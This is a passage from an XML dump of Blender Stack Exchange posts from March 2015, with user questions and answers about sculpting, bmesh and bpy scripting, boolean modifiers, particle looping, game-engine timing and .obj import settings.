LastActivityDate="2015-03-25T22:05:44.797" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27660" PostTypeId="2" ParentId="27646" CreationDate="2015-03-25T18:43:17.753" Score="5" Body="&lt;p&gt;If you hold down the Shift key while making a brush stroke, the Smooth Brush will become active until you release the Shift key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sculptris uses what people call auto-relax smoothing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe that Blender currently has anything analogous to that feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a thread hosted on Blender Artists that has been going for a couple years now and it's topic is Dynatopo sculpting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many tips sprinkled here and there if you read through the whole thing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?264568-Dyntopo-tests/page249&amp;amp;highlight=sculpting&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?264568-Dyntopo-tests/page249&amp;amp;highlight=sculpting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-03-25T18:43:17.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27661" PostTypeId="2" ParentId="27631" CreationDate="2015-03-25T18:52:31.783" Score="5" Body="&lt;p&gt;You have to use the &lt;strong&gt;&lt;em&gt;link_loop_radial&lt;/em&gt;&lt;/strong&gt; on the central vertex to loop through face in counter-clockwise direction( credit for this to &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?296901-BMesh-How-to-get-verts-v-link_faces-f-index-in-counter-clockwise-order&quot; rel=&quot;noreferrer&quot;&gt;this BA post&lt;/a&gt; ) &lt;br/&gt;&#xA;no need to select the vertices ,also replaced the face selection part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;#only the center vertex is part of more than 2 faces&#xA;verts = [v for v in bm.verts if (len(v.link_loops)&amp;gt;2)]&#xA;&#xA;for v in verts:&#xA;   l = v.link_loops[0]&#xA;   for i in range(0,len(v.link_loops)) :   &#xA;        next_face = l.face.index&#xA;        l = l.link_loop_prev.link_loop_radial_next&#xA;        if (i%2) != 0 :&#xA;            bm.faces[next_face].material_index = 0&#xA;        else:&#xA;            bm.faces[next_face].material_index = 1&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-25T18:52:31.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27663" PostTypeId="2" ParentId="27320" CreationDate="2015-03-25T19:40:09.887" Score="15" Body="&lt;p&gt;This is a work around.&lt;br&gt;&#xA;For a simple object like your cylinder, simply rotate it in object mode 35°, make the cut, then rotate the object back.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wo336.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex objects where you can not rotate it. You can align the view to a rotated face. You could duplicate a face out of your mesh and separate it in to a new object, or just add a new object, a plane or an empty; then align the view to it with  with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 7&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dix5G.gif&quot; alt=&quot;animated gif12346&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally do not forget that you can &lt;a href=&quot;https://blender.stackexchange.com/q/15049/2217&quot;&gt;roll the view&lt;/a&gt;, but that is limited to 15° increments.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-03-25T19:40:09.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27664" PostTypeId="2" ParentId="27320" CreationDate="2015-03-25T19:40:55.643" Score="14" Body="&lt;p&gt;This currently isn't directly possible with the knife tool, but it is possible with a few other tools:&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://blender.org/manual/modeling/meshes/editing/subdividing/knife_subdivide.html?#knife-project&quot; rel=&quot;noreferrer&quot;&gt;Knife Project&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a plane and rotate it the desired amount (e.g. &lt;kbd&gt;R&lt;/kbd&gt; 35°)&lt;/li&gt;&#xA;&lt;li&gt;Align the view along the axis you want to cut&lt;/li&gt;&#xA;&lt;li&gt;With both the plane and the target object selected, enter edit mode (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;) and press &lt;em&gt;knife project&lt;/em&gt; in the tool shelf (&lt;kbd&gt;T&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxicl.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://blender.org/manual/modifiers/generate/booleans.html&quot; rel=&quot;noreferrer&quot;&gt;Boolean modifier&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Again, add a plane and rotate it the desired amount&lt;/li&gt;&#xA;&lt;li&gt;Select the target object and add a boolean modifier&lt;/li&gt;&#xA;&lt;li&gt;Specify the plane as the boolean object&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXUp7.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;One advantage to this method is that you can non-destructively change the angle and position of the cut at any time.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Modeling&quot; rel=&quot;noreferrer&quot;&gt;Mesh Intersect&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the target object and enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;Add a plane&lt;/li&gt;&#xA;&lt;li&gt;Select the plane. You can quickly select disconnected geometry by hovering over it and pressing &lt;kbd&gt;L&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&amp;gt; Intersect&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6mU4.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-26T19:46:25.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27665" PostTypeId="1" AcceptedAnswerId="27731" CreationDate="2015-03-25T19:49:37.810" Score="20" ViewCount="9428" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4JSQl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;I've made a simple snowfall particle simulation (using gandalf3's solution: &lt;a href=&quot;https://blender.stackexchange.com/questions/5049/how-to-make-particles-fall-like-snow&quot;&gt;How to make particles fall like snow&lt;/a&gt;). Is there a way to loop the animation, so the transition between last frame and first frame is not visible? Is there a setting to do it?     &lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2018-06-19T02:19:35.000" Title="How to loop the particle simulation indefinitely?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="27666" PostTypeId="1" CreationDate="2015-03-25T20:42:43.387" Score="7" ViewCount="826" Body="&lt;p&gt;I have a tower of flat boxes, but the simulation is not stable. I have tried with split impulse turned off and on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setting the collision shape to box, convex hull, and mesh&lt;/li&gt;&#xA;&lt;li&gt;increasing the number of steps per second and iterations per step (though this does improve the stability, it still eventually collapses without outside influence)&lt;/li&gt;&#xA;&lt;li&gt;enabling deactivation&lt;/li&gt;&#xA;&lt;li&gt;start deactivated (but as soon as an object touches the tower, it gets very &quot;bouncy&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have even tried to gradually increase gravity, hoping that the boxes would eventually gently settle all opposing forces (gravity and contact constraints). &lt;a href=&quot;http://www.pasteall.org/blend/35233&quot; rel=&quot;nofollow&quot;&gt;This blend file&lt;/a&gt; shows that gravity is squishing the boxes a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique, combined with enabling deactivation seems to work alright, until an object activates the boxes (on contact). Does anyone know of a less hacky way to prevent a tower of boxes from bobbing up and down like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make this kind of tower stable without resorting to these kinds of tricks?&lt;/p&gt;&#xA;" OwnerUserId="3706" LastEditorUserId="599" LastEditDate="2015-03-26T02:08:55.357" LastActivityDate="2017-08-01T19:33:39.963" Title="How can I make a tower of stacked boxes stable in the game engine?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27667" PostTypeId="1" AcceptedAnswerId="27668" CreationDate="2015-03-25T21:29:17.403" Score="8" ViewCount="4630" Body="&lt;p&gt;This script changes the active object's location, it could also change the rotation or scale, it also prints the object's world matrix before and after changing the location.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;print(obj.matrix_world)&#xA;obj.location = 1, 2, 3&#xA;print(obj.matrix_world)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output shows the same matrix as before and after the translation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Matrix 4x4 (1.0000, 0.0000, 0.0000, 0.0000)&#xA;            (0.0000, 1.0000, 0.0000, 0.0000)&#xA;            (0.0000, 0.0000, 1.0000, 0.0000)&#xA;            (0.0000, 0.0000, 0.0000, 1.0000)&amp;gt;&#xA;&amp;lt;Matrix 4x4 (1.0000, 0.0000, 0.0000, 0.0000)&#xA;            (0.0000, 1.0000, 0.0000, 0.0000)&#xA;            (0.0000, 0.0000, 1.0000, 0.0000)&#xA;            (0.0000, 0.0000, 0.0000, 1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However accessing the matrix from the python console, &lt;code&gt;bpy.context.object.matrix_world&lt;/code&gt;, shows the correct world matrix with the translation (the last column):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Matrix(((1.0, 0.0, 0.0, 1.0),&#xA;        (0.0, 1.0, 0.0, 2.0),&#xA;        (0.0, 0.0, 1.0, 3.0),&#xA;        (0.0, 0.0, 0.0, 1.0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore, what is the correct way to access the modified matrix values after changing an object's &#xA;&lt;em&gt;location&lt;/em&gt;, &lt;em&gt;rotation&lt;/em&gt;, or &lt;em&gt;scale&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2019-06-05T20:58:02.000" Title="Incorrect matrix_world after transformation" Tags="&lt;python&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27668" PostTypeId="2" ParentId="27667" CreationDate="2015-03-25T21:29:17.403" Score="5" Body="&lt;p&gt;Stackoverflow has a similar &lt;a href=&quot;https://stackoverflow.com/q/13840418/3220986&quot;&gt;question&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/a/13899286/3220986&quot;&gt;answer&lt;/a&gt; on the same issue. The problem is blender is not recalculate the matrix immediately after modifying the transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://stackoverflow.com/users/520779/mgibsonbr&quot;&gt;mgibsonbr&lt;/a&gt; notes, to have the correct values, add &lt;code&gt;scene.update()&lt;/code&gt; after the changes to recalculate the matrix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;print(obj.matrix_world)&#xA;obj.location = 1, 2, 3&#xA;bpy.context.scene.update()&#xA;print(obj.matrix_world)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which now correctly prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Matrix 4x4 (1.0000, 0.0000, 0.0000, 0.0000)&#xA;            (0.0000, 1.0000, 0.0000, 0.0000)&#xA;            (0.0000, 0.0000, 1.0000, 0.0000)&#xA;            (0.0000, 0.0000, 0.0000, 1.0000)&amp;gt;&#xA;&amp;lt;Matrix 4x4 (1.0000, 0.0000, 0.0000, 1.0000)&#xA;            (0.0000, 1.0000, 0.0000, 2.0000)&#xA;            (0.0000, 0.0000, 1.0000, 3.0000)&#xA;            (0.0000, 0.0000, 0.0000, 1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-03-25T21:29:17.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27669" PostTypeId="1" AcceptedAnswerId="28348" CreationDate="2015-03-25T22:13:34.357" Score="4" ViewCount="554" Body="&lt;p&gt;Under certain conditions, I need my animation to be played. &lt;strong&gt;The rig gets a message every 5 tics and it seems that the animation is being played every 15-20 tics&lt;/strong&gt;. My animation frame rate is 60, and same with the refresh rate. The player is in one scene, and the weapon is in another. I will not explain the &quot;certain conditions&quot; right here as it may be difficult; I will show you a &lt;a href=&quot;http://www.pasteall.org/blend/35497&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; which is somewhat a replica of the functions that I have with this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I don't know how or even if this helps in any way, but if you have the animaion set to &quot;loop end&quot; instead of &quot;play,&quot; the animation goes faster and slower randomly, &lt;strong&gt;sometimes it even stops!&lt;/strong&gt; Just some more possibly useful or useless info: if I just do Always (freq. 0) &gt; and &gt; Play (0-5), the animation is still being played slowly, but if I do the exact same thing &lt;strong&gt;except&lt;/strong&gt; I use &quot;Loop End&quot; rather than &quot;Play,&quot; the animation seems to go the right speed. I am not saying I want to use &quot;Loop End,&quot; I am just pointing this out if this helps. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-04-11T00:45:27.670" LastActivityDate="2015-04-14T02:23:19.037" Title="Animation not responding in time?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27670" PostTypeId="1" CreationDate="2015-03-25T22:29:13.543" Score="2" ViewCount="3514" Body="&lt;p&gt;I was trying to make a simulation where two blocks made of icospheres collided, one being completely obliterated, the other intact with pieces of the other sticking to it. I had the entire particle system ready to go, all the settings tweaked. But when i go to bake the molecular script, it gives be an error. &#xA;My System is Windows Vista 32 bit and the version of the addon im using is molecular win32 v1.02&#xA;The error goes as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback [most recent call last] &lt;br&gt;&#xA;  File &quot;C:\Users\\AppData\Roaming\Blender Foundation\Blender\2.7.3\scripts\addons\molecular_init_.py&quot; , line 600, in execute mol_report =cmolcore.init(mol_exportdata)&lt;br&gt;&#xA;  NameError: name 'cmolcore' is not defined&#xA;  location: :-1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVTrN.png&quot; alt=&quot;Image of the Error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug with the Win32 version of molecular? I did not download the 64 bit version by mistake. I made sure of that. Also it works perfectly when i run it on my Macbook.&lt;/p&gt;&#xA;" OwnerUserId="13389" LastEditorUserId="3710" LastEditDate="2016-10-08T16:06:18.873" LastActivityDate="2018-03-02T20:25:40.370" Title="Error when baking molecular script addon" Tags="&lt;particles&gt;&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27671" PostTypeId="1" AcceptedAnswerId="27679" CreationDate="2015-03-25T22:29:18.613" Score="5" ViewCount="1189" Body="&lt;p&gt;I have added a sphere and I was able to add material and give it a color. Now when I add a second sphere (separate object), the material panel is just blank.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/liHmt.jpg&quot; alt=&quot;blank material settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/0bgi7lloc0can4l/Spheres.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13390" LastEditorUserId="2217" LastEditDate="2015-03-26T01:20:54.760" LastActivityDate="2015-03-26T01:20:54.760" Title="Material setings in properties window is missing" Tags="&lt;materials&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27672" PostTypeId="1" CreationDate="2015-03-25T22:43:56.117" Score="5" ViewCount="7384" Body="&lt;p&gt;Everytime I change the X axis to 2' it literally only does the x axis and I was wondering if there was a way I could do this proportionally &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LpqA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2015-03-26T04:30:54.000" Title="How do I scale an object proportionally using numbers on the scale panel?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27673" PostTypeId="2" ParentId="27672" CreationDate="2015-03-25T23:21:19.260" Score="8" Body="&lt;p&gt;By &lt;strong&gt;left-clicking&lt;/strong&gt; and &lt;strong&gt;dragging down&lt;/strong&gt; on the sliders you can select and edit the values for multiple axes simultaneously:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n09wC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you want to do things with keyboard shortcuts you can press &lt;strong&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/strong&gt; and drag, that will scale your object (or selected vertices, depending on what mode you are on) in all axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To constrain transformations on a single axis you can do &lt;strong&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;/strong&gt; to scale on the &lt;strong&gt;X&lt;/strong&gt; axis only, or &lt;strong&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/strong&gt; to scale on &lt;strong&gt;X&lt;/strong&gt; and &lt;strong&gt;Y&lt;/strong&gt; only (but not on &lt;strong&gt;Z&lt;/strong&gt;)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-26T04:30:54.000" LastActivityDate="2015-03-26T04:30:54.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27674" PostTypeId="2" ParentId="27669" CreationDate="2015-03-25T23:31:35.593" Score="6" Body="&lt;p&gt;The reason for this is that there is a big difference between frames and logic ticks. There is a default of 60 logic ticks per second, and 20 frames per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current frame rate in your scene can be found here in case you accidentally changed it, but the default is 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqjPB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add a &lt;em&gt;delay&lt;/em&gt; sensor, and hover over the&#xA; &lt;em&gt;delay&lt;/em&gt; field, the tool tip that opens shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aeh8k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relation here is three logic ticks for every one frame. So for your mouse sensor, it should have the true level triggering set to 15 for 5 frames to play on your &lt;em&gt;action&lt;/em&gt; actuator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can avoid this by changing your mouse sensor's delay between positive pulses from 5 to 15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/As6iO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-26T01:17:54.400" LastActivityDate="2015-03-26T01:17:54.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27675" PostTypeId="1" AcceptedAnswerId="27677" CreationDate="2015-03-25T23:32:53.523" Score="6" ViewCount="2939" Body="&lt;p&gt;I have a cube that is scaled about 10 times on the Z axis.&#xA;I added a plane, rotated it 45 degrees on the Y axis, and placed it just below the top of the cube. I applied a boolean difference modifier to the cube, and it cut off the bottom. How can I invert the boolean operation to cut off the top of the cube instead? The plane should be deleted after the cutting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HWhop.png&quot; alt=&quot;Plane and cube shown without boolean modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XhYQq.png&quot; alt=&quot;Plane and cube shown with boolean modifier cutting off the wrong part of cube&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="1253" LastEditDate="2015-03-26T06:39:58.930" LastActivityDate="2015-03-26T06:39:58.930" Title="Boolean difference removes wrong part" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27676" PostTypeId="2" ParentId="27675" CreationDate="2015-03-25T23:37:17.760" Score="3" Body="&lt;p&gt;you can use a different kind of operation on the boolean  modifier for different results:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rhrj4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-26T00:23:56.987" LastActivityDate="2015-03-26T00:23:56.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27677" PostTypeId="2" ParentId="27675" CreationDate="2015-03-25T23:49:35.623" Score="6" Body="&lt;p&gt;The Boolean modifier calculations depends on the face normals to decide what's inside and outside ; for a simple plane case the face normal is the local z_axis so it's enough to flip the plane 180° &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for other case :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enter edit mode hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;check inside option on the tools panel &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-25T23:49:35.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27678" PostTypeId="2" ParentId="27627" CreationDate="2015-03-26T01:06:46.290" Score="1" Body="&lt;p&gt;First off, you are way over complicating this. There is no need to use a script to correct the origin's rotation at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with the tree with the array and curve modifier before it is applied (GCF green in images), instead of separating each tree along the curve, create a second tree (X-27 blue in images) and parent it to the tree with the modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OpMIr.png&quot; alt=&quot;Parent&quot; title=&quot;Yes, I&amp;#39;m using perspective. Deal with it.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set the the first tree's &lt;em&gt;Duplication&lt;/em&gt; to &lt;em&gt;Faces&lt;/em&gt; to add new trees with the location and rotation of each of the existing trees along the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wejO0.png&quot; alt=&quot;Duplicate faces&quot; title=&quot;Who cares about Z fighting? We will delete the green ones soon.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;em&gt;Make Duplicates Real&lt;/em&gt; by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to make the second set of trees separate objects. Now all of the new trees have there own origins in the correct places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/75gXy.png&quot; alt=&quot;Separate objects&quot; title=&quot;I know the z is not supposed to be down. But unity uses the Y up so this is kinda ok.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to, you can delete the curve and the first tree. Also, any tree you now select will also have the correct local rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZ2bG.png&quot; alt=&quot;Without the first trees&quot; title=&quot;Isn&amp;#39;t that color blue nice? I&amp;#39;m using real time GLSL shading&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-03-26T01:06:46.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27679" PostTypeId="2" ParentId="27671" CreationDate="2015-03-26T01:16:36.690" Score="6" Body="&lt;p&gt;You just need to scroll up in the properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there is no material on that object, the panel is much shorter. If you had just scrolled down when editing the material on your pink object, then the &lt;em&gt;New&lt;/em&gt; material button will be off the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ae8sd.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-26T01:16:36.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27680" PostTypeId="1" AcceptedAnswerId="27681" CreationDate="2015-03-26T01:59:11.237" Score="1" ViewCount="428" Body="&lt;p&gt;I have a wavefront .obj file and a sharp edge list which are mapped with the vertex index form the .obj file. Now I want to add some functionality in the .obj file based on the sharp edge list. But the problem is when I load the .obj file in blender, blender changes the vertex index. So I can not map the same edge list from the .obj file in Blender. Is there a way I can prevent Blender from changing the vertex index and keep them same as the original .obj file(e.g. in .obj file, vertex index starts from 1 and the index increases by one for each subsequent vertex)? I am wondering why Blender has to change the original vertex index rather than giving the index sequentially?&lt;/p&gt;&#xA;" OwnerUserId="13393" LastActivityDate="2015-03-26T09:25:20.977" Title="Blender Alters .Obj vertex list" Tags="&lt;python&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27681" PostTypeId="2" ParentId="27680" CreationDate="2015-03-26T02:11:14.897" Score="3" Body="&lt;p&gt;There is an option for &lt;strong&gt;Keep Vertex Order&lt;/strong&gt; in the .obj importer. Use that and you should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBOwy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="3710" LastEditDate="2015-03-26T09:25:20.977" LastActivityDate="2015-03-26T09:25:20.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27682" PostTypeId="1" CreationDate="2015-03-26T02:25:49.643" Score="0" ViewCount="520" Body="&lt;p&gt;I have an object and a plane as two separate entities like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IEoca.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNGT7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to somehow invert the selected object onto the cylinder in order to make a boolean subtraction on the surface, so it look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I'm prepping this file for a 3D print! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aE78y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2015-03-26T02:25:49.643" Title="How to boolean subtract an object's surface using a extruded plane?" Tags="&lt;objects&gt;&lt;3d-printing&gt;" 